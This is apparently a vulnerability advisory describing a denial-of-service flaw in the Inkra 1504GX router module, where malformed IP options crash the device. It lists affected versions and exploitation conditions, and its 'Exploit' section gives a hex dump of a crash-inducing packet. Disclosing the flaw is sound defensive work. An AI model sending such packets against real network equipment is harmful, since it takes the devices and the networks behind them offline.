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Inkra 1504GX IP Protocol Parsing DoS
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SUMMARY
The <http://www.inkra.com/> Inkra 1500 Series Virtual Service Switch
"takes your security strategy to the next level, dynamically protecting
your network and applications from internal attacks and security holes".
The Inkra 1504GX's router VSM does not properly parse the IP options, this
allows a remote attacker to cause the product to crash by sending it
malformed IP options.
DETAILS
Vulnerable Systems:
* Inkra Networks 1504GX Router Virtual Service Switch VSM 2.1.4.b003
Immune Systems:
* Inkra Networks 1504GX Router Virtual Service Switch VSM 2.1.5
* Inkra Networks 1504GX Router Virtual Service Switch VSM 2.0.9
Testing scenario:
The exportability of this vulnerability is only feasible if the following
is true:
1. The Router VSM is selected as active VR
2. Between the Router VSM and the VP, no other VSMs exist
3. The VP is directly connected to the IO slot
Exploit:
You can recreate the issue by sending at least 3 times the following
sample packet:
xx xx xx xx xx xx (DMAC)
xx xx xx xx xx xx (SMAC)
08 00
4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum)
xx xx xx xx (SIP)
xx xx xx xx (DIP)
eb 21 ad a6 eb e1 35 9b ce dd
a7 11 ea 5d c5 96 af 47 c1 50
f1 d1 5c 4b 18 9a c1 8a 13 6b
48 5e 74 83 c6 06
aa 9a 5e c2 a6 75 38 44 f8 43
d7 3f ae a1 e0 c6 e3 7c 4b 59
7a 95 1e 70 cc 04 1b 2a d1 6e
38 83
ADDITIONAL INFORMATION
The information has been provided by <mailto:felix__zhou@hotmail.com>
Felix Zhou and <mailto:songsong@shaw.ca> Song Liu.
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